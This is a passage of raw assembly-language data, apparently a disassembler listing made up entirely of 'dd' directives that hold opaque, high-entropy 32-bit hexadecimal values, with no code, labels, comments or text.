		dd 41F2004Eh, 427AF60Fh, 0C19ED895h, 6AFB2214h,	0DED88210h
		dd 0C1318419h, 323F9B6Fh, 9E7ACF9Ch, 5AFEEF1Ch,	0DF010F4Eh
		dd 81A0B352h, 0C0F19754h, 79A81464h, 0E034B94Bh, 946AE95Ch
		dd 473B2737h, 1AB6F6EFh, 42E0BD04h, 0C6F860DDh,	0FA51013Fh
		dd 0F1870B07h, 5719FCC2h, 0AD9C9ECEh, 2C0143Bh,	51662F39h
		dd 0F55509DCh, 0E8AD997Bh, 802B5A18h, 0FF58C183h, 98E1233h
		dd 9B8C588h, 1BA03BC0h,	853F80F7h, 0FE609517h, 4166B0FEh
		dd 982B2B43h, 2B897748h, 0A60559A9h, 535AF02Ch,	0C22B539Dh
		dd 9455C821h, 0B7681792h, 2EBB8954h, 18CDAD93h,	88CA01C3h
		dd 0D73E66AEh, 0E13D9323h, 1BB43594h, 64D15829h, 30C50138h
		dd 0F35AC234h, 9A13A729h, 68038C41h, 39D24CDEh,	0CAEF20DDh
		dd 0BD34E5F8h, 0A1500A84h, 9E47D85Fh, 3DE1174Fh, 0DFAC0705h
		dd 42E831A1h, 907FF1FDh, 0E0B32DCFh, 1520AF4h, 0B0705D8h
		dd 5AE6575Bh, 6CF7892Dh, 0C3A06B93h, 7F29C2F2h,	0F7166337h
		dd 0A26DA3B1h, 4FC4D413h, 1AFECAFAh, 0E2402E33h, 6812665Ah
		dd 0A3D23CEBh, 968C9651h, 11EA083Bh, 3B74AC3Bh,	0F248AF3Ch
		dd 7103E2Dh, 141C24h, 0EBDB672Dh, 0A7A84BE9h, 0CEEE4A5Ah
		dd 8187EF69h, 145473BFh, 7D8DF5CBh, 80E8DF60h, 9E905259h
		dd 5AF4280Eh, 30956280h, 707E60E6h, 2C91BBB3h, 4E993DEAh
		dd 0EC8D8D95h, 2D002889h, 6AE67210h, 0A205D029h, 89B0B007h
		dd 0DD83BDC2h, 7EB82C45h, 819A02E9h, 24D18839h,	4CCB4C0Bh
		dd 81C120CCh, 0B753A588h, 0E7C0BD0Ch, 2D070606h, 1503FDE9h
		dd 53D8E6C1h, 0B9165BBBh, 0C0041DD4h, 1F035E9h,	73F09D59h
		dd 0B6279697h, 0F0E95854h, 0A2FDE848h, 269A7D57h, 79E251AFh
		dd 22771C09h, 0E6A57E99h, 4D609054h, 0C11D1405h, 371AEE5h
		dd 0E6E2A163h, 788811F1h, 67B0F03Dh, 0E27B5F8Bh, 3F205F5h
		dd 0E481AB0Ah, 0D82E0C12h, 1C4E4566h, 2E8900B2h, 299A5D30h
		dd 8F5AE89Fh, 2BA80A9h,	9B7CE9Fh, 0F0B2E956h, 0CC971044h
		dd 5558285Bh, 1FF900B7h, 0DD891474h, 95CB52E9h,	0CBA2F35Dh
		dd 26401E12h, 0AD042D6Bh, 1FBBE913h, 2225AADh, 0B0B710B7h
		dd 754082DFh, 8F3DDC85h, 0CEE1938Ch, 5F83CDACh,	0C793F831h
		dd 32F3085Fh, 6CE84Bh, 66361E13h, 2C4025BEh, 0B9B32Fh
		dd 72BA2708h, 0CAF1EE29h, 9C550889h, 32F813DEh,	5B8906F3h
		dd 0D6777DABh, 8097A554h, 9719C939h, 3D0721F1h,	0B2FF5352h
		dd 0BAED552h, 8074234h,	6E1DA3F3h, 7BBD50F9h, 0C936730h
		dd 0D2F5F774h, 2C753F6Ch, 82FA803Bh, 1F633FACh,	1416215Dh
		dd 2E89E173h, 5A14F8B8h, 66E4E19Fh, 23FCB23h, 110EEB25h
		dd 5051409Fh, 0E5889EB4h, 0FBDDE927h, 4BC22730h, 8B175861h
		dd 4F20151h, 821809E0h,	0CC287B42h, 3A1BB8Ch, 4D836333h
		dd 49680944h, 0B3AD2562h, 9D33EDF0h, 1D20DF66h,	31AD13A4h
		dd 0F49377D8h, 0B978E02Dh, 3524450Fh, 7A40497Bh, 8ADA16Fh
		dd 52028C2Ah, 2FC7680Bh, 504989EEh, 48F074BBh, 0EA01C10Eh
		dd 2A6420A9h, 1E043A89h, 0FC12B1E8h, 35FA16B8h,	4AADA98Ch
		dd 4726B493h, 266F4503h, 4B43F381h, 3F61E90Dh, 0BCF8CEB2h
		dd 0E9FD29B0h, 13E7862Dh, 91DAC14Dh, 0B35E343Fh, 6F3550B4h
		dd 44D64F18h, 1EA591Ah,	0CD89BF5Bh, 571047E9h, 0FEF28334h
		dd 0E8684A0Bh, 4641B229h, 0B4BA37FDh, 0F0C562C5h, 40B0B277h
		dd 807F4FF1h, 0C004EB81h, 5772906Ah, 2812D280h,	3F19585Ch
		dd 0B27D310Fh, 6901A374h, 890AC987h, 863201D7h,	40478F00h
		dd 7E40CF90h, 0D7F73C5Dh, 9881452Ah, 0BA88628Ah, 5820DA28h
		dd 0B353402Ch, 0F68103C5h, 1CCA7BE5h, 2FFB4961h, 13EDE9C4h
		dd 9A612B89h, 5D8360B0h, 0FCEEC744h, 71C89789h,	610276EFh
		dd 0FD314098h, 9AEAFC5Fh
		dd 2EF483C4h, 69BFD6CBh, 9695F5F8h, 35EA5E77h, 1048BA39h
		dd 20A92062h, 0B0899A0Dh, 49F06523h, 0AE3B4271h, 95ABBB04h
		dd 0F0310077h, 2D035678h, 0E5139417h, 52899A8h,	97E91207h
		dd 0C82C4F0Fh, 3E27A593h, 41589188h, 0CB1FE839h, 0FA76E127h
		dd 92420F5h, 0F2F0883Bh, 0CE3FCE9Eh, 2FE9062Ch,	4BE59E74h
		dd 28C67808h, 0D8024E4Ch, 0F2D66A9h, 2C6EE4AFh,	7A707DE0h
		dd 64781E5Ch, 0B0D782F9h, 0BB5FFB09h, 0B5228DAh, 7AA912EEh
		dd 5A280900h, 10A5B73h,	0BCDEE9F3h, 9726F0A0h, 0BC4A682Fh
		dd 5CEBFD8Bh, 0CF807067h, 0F7289B73h, 0CB20D073h, 0D56297D4h
		dd 0FC343055h, 0C2FD9C0Dh, 56008108h, 0EC45C368h, 0B4509F3Ch
		dd 52C0758h, 49F10E02h,	787C3A81h, 402EE7D5h, 0E901C10Dh
		dd 22B29DE3h, 8A2DAAC2h, 1D6C7F04h, 6118E927h, 3C7B664Eh
		dd 0EB6283B5h, 6C9B76A2h, 80ED0430h, 0AAFED2E5h, 4B55EE01h
		dd 0C42A291Dh, 0E60813D9h, 0E9570641h, 3C97DDD6h, 901717F2h
		dd 0EFBA52FAh, 1CC2E71Ch, 0C07B3E30h, 28576006h, 10F4ABCh
		dd 0A7C250EFh, 72FE29E9h, 0E0632593h, 1E3FBB8Eh, 0BC2D4E3Dh
		dd 8EECE6ADh, 4105811h,	47CBB10h, 8890B050h, 70D86892h
		dd 8A5C4B01h, 0A2680B57h, 97615E31h, 0CA8E3509h, 565E12C1h
		dd 4E920180h, 0E93908D9h, 0B43AD567h, 0A3BD7D7Dh, 22EF5A1h
		dd 395FFE21h, 0C04816FBh, 4048536h, 1DA30427h, 0D41ABFAEh
		dd 0C8B10E33h, 46BE01C6h, 783F2217h, 39F14E52h,	0D4590A02h
		dd 93E961BAh, 5FB23A3Eh, 0CECB396h, 48F96F14h, 800090CDh
		dd 9403E908h, 52AC019Ch, 30D0BCB6h, 25C6D97h, 45FB8074h
		dd 48C1408Bh, 7F7460E1h, 0BA5D0484h, 0ABC8BDE9h, 23D42B56h
		dd 0BD80C4BDh, 4FC06C32h, 150CE5F8h, 844EE928h,	0B9D81866h
		dd 4A27A0ECh, 2D3F303Fh, 0E693E949h, 4D7CEDDDh,	0F286826h
		dd 13456B2Eh, 0B533EF3Ah, 3119F950h, 4B5B8B6Fh,	7AC10F74h
		dd 6B2C93C2h, 0B1764D6h, 0AB5E03F6h, 368AC2h, 1B7086BEh
		dd 0EDB96400h, 3112AC2Bh, 95E925F1h, 1E9691D0h,	7BD1BC2h
		dd 9908B1B9h, 0B1874010h, 60A0D09h, 9EA76BE9h, 8001C293h
		dd 70EC78DEh, 453E5B5Dh, 0A90A9047h, 7FFED80Ah,	4C3DE052h
		dd 4A0B9658h, 17831972h, 0A24C60EFh, 0FB2D1215h, 41CE5D20h
		dd 5C357B21h, 82929D75h, 0F5C5465h, 9DD8946Bh, 0E2A022D9h
		dd 0FB15433Ch, 0E4A2FDFEh, 0E95F0800h, 0BF923098h, 4A3F1B22h
		dd 0EA9BC469h, 1350BA3Ch, 5DD0E4E9h, 8C79A72Bh,	4A27F08h
		dd 8D044B68h, 584B9FD8h, 0F5239A09h, 1B11F638h,	48015E80h
		dd 0F84B5EF9h, 8C418512h, 0B1F38947h, 777D83F2h, 0BE06C9E8h
		dd 0AD324182h, 6E6C57Eh, 35C36397h, 2ED5C25Bh, 3DB98085h
		dd 81AF2F50h, 7BC37A5Bh, 754BD226h, 0A259120Bh,	0C605E9E1h
		dd 4FD7DFAEh, 17E1A166h, 8DD9534Fh, 1005E63Ah, 2826390Eh
		dd 0F1880031h, 59C8305Ah, 0FCEB803Ah, 0E9E5C375h, 0E0817F58h
		dd 5B88A7CEh, 0EF247EC0h, 2065ED10h, 3BFBB9C6h,	0F91C09F1h
		dd 88167614h, 0C230E69Eh, 6FE56802h, 0F3B3437Ch, 314B78F7h
		dd 0E6B35E84h, 9B80435Eh, 0F9E54115h, 4A0CD0B0h, 20A56CE8h
		dd 474568F8h, 63E273CDh, 9981F705h, 73E523E4h, 0ABB1C42Ah
		dd 0E917B28Ah, 0C0F180A0h, 801606E6h, 70FCEBC6h, 5F843510h
		dd 0B551DDD0h, 0F5801F98h, 0CB77C970h, 0A46F7571h, 8AFB3909h
		dd 14C7218Fh, 0E9C4EB51h, 2C15ACBCh, 5F96D6D1h,	0D2531EBFh
		dd 9EAF02D3h, 95F0FE2h,	0B010D628h, 45EB928h, 0D9E9423Fh
		dd 0EFBF2E75h, 4969470Fh, 707E297Eh, 0E8F14FDFh, 3AD8008h
		dd 61F73DDCh, 63E11DAh,	0CCA03A33h, 0C42D09CBh,	617AD101h
		dd 1098F927h, 17CD6841h, 0E05D7516h, 3A1A0F21h,	0D14A6F13h
		dd 0F5EA0809h, 0ABCD5B13h, 53BB961h, 82CFFEB7h,	885E447Ch
		dd 4724CF2Ch, 0E5163317h, 29276BBDh, 54BBB549h,	0B4A301C5h
		dd 713DE24Bh, 0CC37F829h, 746D364Ch, 482A9302h,	6FEC5E9h
		dd 153D9659h, 0D278AF1Ah, 7AEA2719h, 575A6074h,	0C4A062CEh
		dd 0F8A08EB5h, 6AFF28D3h, 0CCE58A99h, 0F84ED68h, 352C8BFh
		dd 240F9390h, 0CC29EC6Ah, 7BBD9162h, 2A272F68h,	0C66B2E0Eh
		dd 0DE618F0Eh, 65495Eh,	413A20FDh, 0B53EDC64h, 28E97A2Fh
		dd 78189A84h, 3903E86Bh, 0C276C831h, 91D1F708h,	5E650B7Fh
		dd 195862ACh, 252896E4h, 0C2B57F78h, 6FFCFC50h,	69DAB029h
		dd 0EB402A12h, 7DF50C03h, 0E94DE07Bh, 772AFBC4h, 82F0AB6h
		dd 0D02EE366h, 0DD3C62EBh, 0BA99CF96h, 96173224h, 61681680h
		dd 50EFDF10h, 0C15800B7h, 54802E0h, 963E2440h, 1A830B7Dh
		dd 2E629351h, 6495FCC9h, 286BE0B3h, 653C519Dh, 20A4866h
		dd 7DD9E985h, 0B0D62EF2h, 2A123A06h, 0EF7D80h, 7B8E160h
		dd 0ECA08972h, 6402F105h, 2BE94415h, 0A506592Ah, 6C9D836Eh
		dd 0C1332D69h, 69FE571h, 0C93671AFh, 0E9581D74h, 20AB9C9Ah
		dd 130BB569h, 5C1D81D6h, 4C4F39CCh, 791A1688h, 5999807Dh
		dd 0BD9010F4h, 0DA7CC614h, 853D2599h, 0F6B85126h, 0ADFF53CAh
		dd 2D3E5BD3h, 44DACA4Ch, 0CCF50E77h, 0BCD33239h, 808A5B9Ah
		dd 5D2FEE65h, 7AE88DFh,	53EBBB00h, 3D527367h, 8A850DBAh
		dd 1EAD17Bh, 4E4DA995h,	0AAC0DB3Fh, 437C7D47h, 32B9E206h
		dd 8245EE0h, 12303E27h,	0A0269307h, 0CD0C5599h,	721245EEh
		dd 38095798h, 0A5BB5CFDh, 8F485F41h, 49B9E30Bh,	58880521h
		dd 1759F6D3h, 47EC71Ch,	0C992FD5h, 0E9EB76BEh, 89E7A02Bh
		dd 0B9CEF765h, 985BB8E0h, 21E0B7E3h, 18E8814Bh,	0B18A6E28h
		dd 68A49527h, 1649B10h,	0D12528CBh, 3A3FBD15h, 694F4098h
		dd 0A2FDABF4h, 17641F1h, 2B791468h, 0AC817434h,	81001308h
		dd 250FABE7h, 0AB575BDBh, 922D45Fh, 630FCF87h, 4A0AD5C0h
		dd 0E917EF29h, 0D5E88F9Ch, 2020BC92h, 5BDC8EA8h, 0C8AD137Ch
		dd 0C15C2922h, 31F011B9h, 0AD460C2Fh, 30D96BEFh, 0AC121C68h
		dd 0E770EF29h, 9F62ED68h, 9180B76Ch, 3DE2229Dh,	6E7A2D00h
		dd 740571A6h, 25342657h, 0E903040Dh, 3B1CAC73h,	7B5B7A5Dh
		dd 0F55475C8h, 0E9AA176Ah, 28EBA594h, 1699D530h, 5C35F6A5h
		dd 0F93F6897h, 2E712168h, 1756642h, 70D9285Ah, 18B58731h
		dd 9E755667h, 110AEB71h, 0C7688594h, 572A5F1Eh,	0EB0284B6h
		dd 0A8710864h, 498816D7h, 832623ACh, 0F7F0B08h,	0A813D601h
		dd 0C23E2F23h, 0EF395E93h, 3FE00CA9h, 80BFC829h, 451DDA12h
		dd 970CD661h, 3496FF09h, 251D81FEh, 402DF92Ah, 95D5DDBBh
		dd 63E9D213h, 0BFF326AEh, 6EC6798h, 1C2EDB6h, 0BFE366E0h
		dd 0DC06CF4Bh, 54D12B7Dh, 0EDE919F1h, 6EEBA194h, 0EA563B23h
		dd 94EE5A36h, 805C89E8h, 0ACBDBC13h, 0C7291FEEh, 0DCE9F875h
		dd 4AD02710h, 0D3483FF8h, 0B0BEF94Bh, 91181DE9h, 51F300B9h
		dd 0EFD14DF6h, 60AE0E97h, 6C5CA8A2h, 0AD8660E9h, 0D977C8BAh
		dd 0FB252A7Ah, 0D280E882h, 14842573h, 43C2B461h, 0D0CB5908h
		dd 3B996A45h, 0CD024AF2h, 112A0A09h, 61A846C3h,	31015BD7h
		dd 0F2895DEEh, 217A215Eh, 6D545696h, 0ACBC97A5h, 84A21E5h
		dd 768A6A0Bh, 400AAD10h, 5D0461F3h, 0CA895A6Fh,	17310F87h
		dd 32282254h, 0F2ECE04Bh, 0D5163716h, 2EAE400h,	9D4D4668h
		dd 0CE497098h, 2961FC01h, 0DC51E9EAh, 6B74E6ADh, 0C3B0E825h
		dd 6406C238h, 245D8EE9h, 52AE5424h, 9B5908ABh, 0D8107233h
		dd 7D2908D4h, 0F7234DD6h
		dd 3100D94Bh, 0D702DF33h, 8CE9FA01h, 0C4127FC2h, 5EA57959h
		dd 31E90459h, 60AFF318h, 47E26850h, 0EC68E5AEh,	0F6810300h
		dd 3E14296Fh, 388B895Fh, 79DDAC4Bh, 351F7DE6h, 0F3C1681Bh
		dd 20C96791h, 1CB1860h,	6FEE7A10h, 0BD5EE9h, 322623BEh
		dd 468656Bh, 55821660h,	0D030792Fh, 0A0465EE4h,	39250C46h
		dd 7E71E026h, 0D5659509h, 73B65200h, 2729B151h,	2178CE08h
		dd 0EEC0FF0Eh, 12F6C002h, 1CB45066h, 0A06DE954h, 0BC5E30F7h
		dd 5C58A640h, 395B4929h, 0C8333015h, 6871A3F4h,	0C63BAD27h
		dd 1AFA9DC4h, 0E9124895h, 8D4295D0h, 96D52C42h,	13D0BA59h
		dd 2772C0E9h, 0D91D1196h, 83B52041h, 43D77817h,	276995C0h
		dd 0BD010F8Bh, 21A2894Fh, 6041CD29h, 88752AEAh,	922EEAC9h
		dd 0A2D95770h, 0BD36664Bh, 5FE9B940h, 0B4D52BE9h, 0FD4A93A2h
		dd 692CA46Bh, 10F78A57h, 0BD5A5435h, 108D4AE5h,	28858111h
		dd 0F344C168h, 225D03EEh, 802D134Ah, 0BDFA9014h, 5258A2C8h
		dd 2B5A6814h, 73A38018h, 30E93316h, 0F857A5Bh, 2AE902B6h
		dd 0B7A27A12h, 3A7DC73h, 0CEE80DEh, 7F2AD3D1h, 0FECE6D89h
		dd 0EF05C478h, 26684A6Ch, 6A052B69h, 929E2035h,	0E44AA2BFh
		dd 0F9DF6770h, 19EDAB68h, 0A95CFDA0h, 5E3E25A7h, 0E3089763h
		dd 0BDE54BEAh, 8A3BB9F9h, 857E4DAFh, 11017AF5h,	42A724C4h
		dd 76DE807Eh, 68F4AF3Ah, 0CC4B5B2Ch, 56BF1FC2h,	75684159h
		dd 0CB8C3B19h, 8C114B33h, 0A5B5DABEh, 0D9A0F32Fh, 6BCE2C7Eh
		dd 98B3E27h, 252006E4h,	0F07074C7h, 39E94408h, 55660E7Fh
		dd 438BD45h, 0BFB53B92h, 0C92A3B89h, 76FEA7E2h,	4C22AFDCh
		dd 225F1077h, 212CF4h, 2FEB6857h, 11DB43Eh, 0ED2CF81h
		dd 7E803BB0h, 7EDF7D25h, 660EFC1h, 22C6F712h, 3BA0BF7Bh
		dd 820B64F5h, 0E5D16516h, 0DD04C204h, 8F2CEB24h, 0F8704BDBh
		dd 96E7E794h, 5A831CFDh, 0BA1AA4CDh, 614FBA48h,	0DBDEBD7h
		dd 0C8265E1h, 5AF731Fh,	0E2C605E9h, 4B22F109h, 9AC649FCh
		dd 0F7315883h, 52DA290Bh, 0ABDD35A9h, 0E80A0ED0h, 47BA03ACh
		dd 8874A01Ah, 80692F4Dh, 4360764h, 4FCA7F31h, 52EE0EBBh
		dd 612732C5h, 82BE23FAh, 0F644B61Dh, 0EFA743D6h, 887BC43Eh
		dd 0FAE8DBC1h, 0B4EAE78Fh, 92B9881h, 84E170D5h,	2DD040h
		dd 58554F8Fh, 0FE261605h, 53E8B19Dh, 8C7E4E61h,	870BBA2Eh
		dd 293528h, 61156ED6h, 0E2C10513h, 0A4396805h, 0B3D2F0A6h
		dd 0C35275ECh, 0A1019C58h, 0E92CBC57h, 0EC122FAFh, 764892A6h
		dd 0D93A02A2h, 0E8F109A6h, 0ADBC3871h, 0BDD184C3h, 0F789D688h
		dd 0F95575F1h, 61BBD01h, 267036ECh, 92C6C107h, 823F650Fh
		dd 5974EB0Ch, 0E302E00Eh, 9E3CE4E0h, 0F08039FFh, 9E1F1C05h
		dd 599D2D03h, 0B44D1620h, 0E8B5D3FEh, 0D86F8FD7h, 78E3C415h
		dd 0CB6401FEh, 1A58EB10h, 0CB8712Bh, 2EC33E4Ah,	446C5B21h
		dd 12B0BA54h, 4309B8F8h, 0B8E8420Dh, 0BBB689F9h, 0AAC3D85h
		dd 3117A18Bh, 68D860F0h, 18BF236Dh, 817609DAh, 6EC2595Eh
		dd 0B6A5C921h, 8E84277Bh, 355E88CBh, 0BCA95D69h, 707FB86h
		dd 47846A0h, 0D82CA71Ch, 76BAF01Dh, 994FE9F0h, 0EE0C6A85h
		dd 1BE3D6Eh, 6BEA281Eh,	2E5EF721h, 0CF9EEB05h, 0ECC909A8h
		dd 51468829h, 0FF52849Ch, 7E274416h, 0C0A94AF9h, 5C4DEAADh
		dd 0C60075FEh, 0D14E27A1h, 0E91AF521h, 852ACA42h, 98AE6E4Eh
		dd 64F6503Ch, 0F440F4Bh, 5B098BF7h, 0A99504F8h,	8216F5B0h
		dd 0AD66810h, 95AFBE50h, 0EE4ACECCh, 779D09D7h,	0DB07D822h
		dd 0D2257324h, 550B8466h, 7F8B022h, 0D0015D01h,	6FFB386Eh
		dd 63914516h, 0EC27DB42h, 9DFF412Bh, 0ED818180h, 3596FBAh
		dd 9795F6h, 0F6B753CBh,	5BF83828h, 14B3F073h, 0EDE3C045h
		dd 0DC41F31Ch, 66C4E7C3h, 0C9252B7h, 0C0E712Eh,	0BE71C611h
		dd 0E9DAB909h, 0F602D2CEh, 29510147h, 5EEC165h,	3476FD53h
		dd 0EC002055h, 22F48059h, 0CE58E308h, 0D80C1570h, 0DAB9DAF2h
		dd 1A5DA100h, 58E7D138h, 22C284Fh, 25870378h, 0CBCF4484h
		dd 0FC074E54h, 0E9F1123Fh, 0BC59960Ah, 9E725C30h, 82680447h
		dd 0C5CEE82Eh, 19F9A50Bh, 5774EFD2h, 9D22CCEAh,	0F86C2241h
		dd 57026881h, 8F086ED9h, 7B561EE2h, 98C2FCA4h, 6D7A988Fh
		dd 3CBA85C5h, 508B9EA9h, 0CF1219FEh, 404A09B7h,	28F8EB00h
		dd 0E9136B25h, 8863B02Dh, 98444B53h, 59B7C370h,	8D230831h
		dd 56099B2Ch, 0DC9EF5A4h, 0CA7B569Ch, 0EA3055C3h, 83C27736h
		dd 0C134E068h, 8003105Dh, 63B01FBh, 0BEEB1C53h,	0AA81E32Dh
		dd 0ABFB8E66h, 0C0EE0557h, 256841B4h, 8AD617F6h, 2D883D1h
		dd 58A2568h, 0D3F4D64Ch, 3AE17070h, 832F259Dh, 0EF5A93A3h
		dd 1AD662BCh, 0E57FCF41h, 9A59A715h, 92C8FE44h,	5A6C4099h
		dd 79556876h, 0A1383059h, 4EE21F39h, 0A6AD67C5h, 1DE05B0Eh
		dd 3E72A157h, 0EA2592E6h, 14E9DF68h, 4E62F15Dh,	2D7D56F6h
		dd 74D98691h, 0E085A96Fh, 13BDBA5Ch, 0BF67602Ch, 4CF24440h
		dd 0CC1D0C26h, 0F96C0212h, 0E1390E3Ch, 21C29B0Ch, 9DD301F4h
		dd 0D9958CC5h, 315B099Ch, 91170C6h, 326326F8h, 0D90657E8h
		dd 9CD9C27h, 0F5060A28h, 0CC27BB40h, 1EC74B54h,	794582FBh
		dd 0AEC17204h, 5E07402Dh, 8C5947E9h, 3A51304Ch,	0B0E17EFh
		dd 4BDBF70Ah, 0E80B8860h, 58F5F125h, 0CF012C3Ch, 0B7CE0BA5h
		dd 2BF6F610h, 0BF184701h, 0F57BEE30h, 0D0DAC76Fh, 0DC31A2Ah
		dd 42C02951h, 5098F86h,	0DE9079F3h, 2E6498BAh, 177006C6h
		dd 42194B02h, 1DE977A2h, 9980DACAh, 39CE0CEEh, 5B3D0CC1h
		dd 0CDF004B9h, 0F8411701h, 0ECF68027h, 0BB5B87B8h, 0F15E28C2h
		dd 902E4A6Dh, 306B8E21h, 0F4FFE44Bh, 5EEF099Fh,	16405A4Fh
		dd 33BF8E9Ah, 0F06A244h, 0FB7981C5h, 95C4E621h,	94FD5802h
		dd 12E1E697h, 0E32A5E68h, 5ED98B14h, 8EE961DBh,	9A9C2E29h
		dd 0C86AFF51h, 59266878h, 9CC3B15Fh, 1DB0E8Dh, 8B7E8BF9h
		dd 2918827Fh, 0BA7A1EEEh, 0CE059376h, 6DA55558h, 197FCC2h
		dd 0A54DEB87h, 0B547606h, 0FA448510h, 59B2522Ch, 6C87428h
		dd 38412701h, 6F6B31D7h, 61D241B1h, 3500AC08h, 8D5ED648h
		dd 655853C2h, 0B5C937Dh, 5C036A55h, 0AF13F1F9h,	0E00855D7h
		dd 2DFEA82Dh, 0C1505F5Dh, 22D8640Bh, 317241D7h,	55B00E78h
		dd 0A34A80E9h, 749AD943h, 8A094CAh, 18E809C1h, 117DC831h
		dd 407448F6h, 6650605Ch, 6B145616h, 1BBC494Fh, 3B8EE13Ah
		dd 0C9C03E07h, 2D57050Ah, 54850CC1h, 0E9F12BE8h, 0FFACC22Bh
		dd 0F70A90DEh, 0DA2487D0h, 0ADC2E5A5h, 0F841394h, 1A520504h
		dd 1FA7DFFh, 47586690h,	40703057h, 82413Dh, 2D320D35h
		dd 5A90E94Ah, 0C92AF88Dh, 8A7F0728h, 90305F3Dh,	0F3815BFBh
		dd 816F5844h, 50680BB7h, 1F8E8E2Eh, 0AFC9D2F7h,	0CB16634h
		dd 46C56414h, 620447FAh, 0CA2132BEh, 7E84CFADh,	109BBD27h
		dd 4A486B1Ch, 5BEFAA10h, 411ADBBCh, 0F1601B77h,	0D807E0Ah
		dd 300E0A22h, 0A7402Bh,	9D4E742Dh, 498355Ch, 0C92F7B2Ch
		dd 6F708102h, 54A5047h,	5A4567E6h, 529C014Ch, 2021A42Fh
		dd 4B5AB0Ah, 0AB45E35h,	0F3065E46h, 37E98229h, 4506D69Ch
		dd 0EECBC45Ch, 8444100Bh, 0EDCF552h, 0B04B59B9h, 10A9B6B5h
		dd 6B48CB0Ah, 8C317805h, 8404BE44h, 38FFAB21h, 174B352Bh
		dd 0C72C2793h, 75B969D4h, 65A20A25h, 2B772179h,	9595030h
		dd 0FA5B3F1Ah, 4625095Fh
		dd 0A11475FDh, 0F42CE31Ch, 0AD055801h, 6F7FC255h, 53604685h
		dd 0A6542E68h, 0E64D9073h, 87AE9698h, 5BC211F4h, 7A88827Fh
		dd 3C608A4h, 38131539h,	2EC1DBEAh, 33C007A3h, 0B701FC5Dh
		dd 0A2CFFEE8h, 0ADFE033Ch, 2477F3DDh, 0F3E95822h, 5A00DF94h
		dd 0C2124E2Dh, 978D70Eh, 4D5C6622h, 9686D08h, 0B2FF5D5Ah
		dd 16AC9DFh, 0CBD9BB14h, 0AEEC353Eh, 318BB8CAh,	955138D7h
		dd 0D6F08205h, 0BC0E0B0Fh, 0BBD89C2Fh, 634B82Ah, 29585667h
		dd 0DA8207C1h, 66E90B02h, 0F34188E9h, 0F2E2C2B8h, 7E311D4Ch
		dd 9E16825Bh, 1F524D8Ah, 5562FFC9h, 2996A4D9h, 0E24AF5F3h
		dd 21E9D3D6h, 6B48A780h, 0E9254E30h, 0C5AF899Fh, 2642CE9h
		dd 2A41254Dh, 2C590E43h, 66B30701h, 0AFA37A34h,	0BF60071Dh
		dd 0CF2C07DCh, 68275749h, 8F156249h, 0AC928D71h, 254868F0h
		dd 39DC2835h, 5FA02B26h, 0F2EA6825h, 0DC3C4F5Eh, 0B8925D1Eh
		dd 453EB09Fh, 6BC79E7Ah, 5C21BACh, 4F5F2A7Ah, 4F01EFA0h
		dd 7FE2D8D5h, 0F63F2F25h, 9D0220CEh, 1BE65EF2h,	0D98C0A13h
		dd 292CCEE1h, 7046E9B0h, 15ED95C1h, 6BF20856h, 1ACAA02h
		dd 0CBC0E3D0h, 738F0BEDh, 0E989C8CDh, 612A2E42h, 36B01BC8h
		dd 0DDCD3B5Dh, 0BF5DEFD4h, 3116F894h, 98005FF8h, 42DF2D0Bh
		dd 57C20501h, 0D96FCB68h, 8E10075Eh, 625D497Ah,	1FF2803Dh
		dd 900BC973h, 77BE0EE4h, 0C4D87FC8h, 0F4E2149h,	4F0B44F8h
		dd 0FC054E28h, 30FBF184h, 265EDCCh, 72800706h, 4CEC4D75h
		dd 4004FD4Bh, 0A4B034E9h, 0C240D12Bh, 29DF7D29h, 8BE409F7h
		dd 490982B2h, 79672A77h, 0A745D627h, 932D1B58h,	58DF74D7h
		dd 20B903CDh, 582DD611h, 0BF6A4AC8h, 0B9156382h, 5C7DB388h
		dd 8A54FAD2h, 1BA204A4h, 21FE4A05h, 792152FDh, 0E53A84AFh
		dd 0A0108410h, 46C25A08h, 3818346h, 0F00C4A62h,	8A5DE913h
		dd 0E65F26E9h, 83D09BBCh, 5850F887h, 0D12E2DFEh, 9B11DE81h
		dd 95EBC6FAh, 5B752C20h, 0A62FBC5Bh, 0D43D2E8Eh, 0CE0245F9h
		dd 0F2F95A58h, 0B5977313h, 0F74E417Dh, 68080A77h, 0E90A1E30h
		dd 92A8B889h, 140FD8C0h, 9353CB6h, 0F2778C7Ah, 6191A757h
		dd 0B7E04B4Dh, 660D1F70h, 0A2D3165Fh, 1E774C6Dh, 8BD317ADh
		dd 3849EA4Eh, 3032A832h, 0F10E0ECFh, 4126E705h,	261037F0h
		dd 66CB300Ah, 89650C86h, 0B512CD69h, 0BF4846h, 426367DEh
		dd 0D738F764h, 0EF818647h, 0C422175Eh, 0F1B7E914h, 0C8017AEDh
		dd 80CEB252h, 0ECCC9A21h, 0D4283CC2h, 5A9DC43Ah, 0CCFE84F6h
		dd 0B0C487C0h, 0E5883FF4h, 55E65876h, 86D5F600h, 0B5B652C5h
		dd 964ADEFEh, 6F53A84Bh, 5EED0F1Ah, 5259E800h, 0A857EF68h
		dd 0DE8BC0AAh, 26B381C3h, 6801451Ah, 0E9084075h, 5B1BCA4Dh
		dd 0A02B11F1h, 0C3EE01A1h, 0F38683EDh, 80B60402h, 1FB753D8h
		dd 7D7F64Ch, 3EFE78CFh,	0E945F7AFh, 552FAC6h, 31051200h
		dd 9735E164h, 0E855A1C2h, 0B7154DC6h, 56C1E6D9h, 657EFE89h
		dd 0CC9440F7h, 5F09326Ah, 0D2BD5505h, 0BC003927h, 6E7A2EEDh
		dd 8CE91711h, 0A291FC75h, 5C107766h, 4082647Eh,	7F27865Fh
		dd 0CA2928DDh, 5DE002EAh, 0F7473F10h, 0D041760h, 5B3F2683h
		dd 6920E55h, 0F50C6FACh, 44CF6605h, 1BB5351h, 0A7520996h
		dd 80C46E20h, 56E90702h, 7C6C4ACCh, 72C404E1h, 0B53081DEh
		dd 7893B98h, 2500E42Bh,	4E26BF94h, 59214E2h, 0D92DFB5Fh
		dd 94D7E9D4h, 0BF681388h, 0B297035Eh, 2DB7E0h, 0C6544BFh
		dd 5E6B1B05h, 0D029251Fh, 40F90728h, 0B8E95A11h, 7588864Eh
		dd 0B2BA0452h, 0F36F9003h, 0EF1DC454h, 68E7D4FCh, 1A616861h
		dd 0DCC21368h, 0E687E85Dh, 33FF80EEh, 847F0532h, 17CE405h
		dd 7102DF0h, 7C962FCBh,	0B605E097h, 19B8CE7Ah, 51178262h
		dd 9240E3B1h, 17C0659Eh, 6A0DA52Dh, 0F1684C42h,	0E94BA716h
		dd 35AA8DB4h, 1694AE99h, 1DE09BFh, 0EA5A9D78h, 0A84A55BDh
